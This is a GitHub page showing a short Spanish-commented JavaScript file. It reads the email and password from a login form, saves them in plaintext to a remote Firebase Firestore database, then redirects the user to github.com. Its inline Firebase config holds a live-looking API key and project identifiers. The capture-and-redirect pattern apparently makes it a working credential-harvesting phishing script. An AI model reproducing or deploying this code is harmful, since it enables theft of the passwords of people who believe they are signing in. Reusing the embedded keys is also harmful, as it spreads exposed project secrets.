-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.js
More file actions
44 lines (37 loc) · 1.74 KB
/
script.js
File metadata and controls
44 lines (37 loc) · 1.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// Importar Firebase y Firestore
import { initializeApp } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-app.js";
import { getFirestore, collection, addDoc } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-firestore.js";
// Configuración de Firebase
const firebaseConfig = {
apiKey: "AIzaSyC80deTjU0-NDDZZDQnoHGTybVgM1O6Br4",
authDomain: "users-2f9b5.firebaseapp.com",
projectId: "users-2f9b5",
storageBucket: "users-2f9b5.firebasestorage.app",
messagingSenderId: "549685181390",
appId: "1:549685181390:web:259e08eb7ac5eaba83099f",
measurementId: "G-L4XQRS27PT"
};
// Inicializar Firebase y Firestore
const app = initializeApp(firebaseConfig);
const db = getFirestore(app);
// Capturar el evento de envío del formulario
document.getElementById('loginForm').addEventListener('submit', async function (e) {
e.preventDefault(); // Evita el envío del formulario por defecto
const email = document.getElementById('username').value;
const password = document.getElementById('password').value;
try {
// Guardar en Firebase Firestore
await addDoc(collection(db, "users"), {
email: email,
password: password, // ⚠️ NO es seguro almacenar contraseñas en texto plano
timestamp: new Date()
});
console.log("Datos guardados en Firestore");
alert("Datos guardados correctamente");
// Redirigir después de guardar
window.location.href = 'https://github.com';
} catch (error) {
console.error("Error al guardar los datos:", error);
alert("Error al guardar los datos");
}
});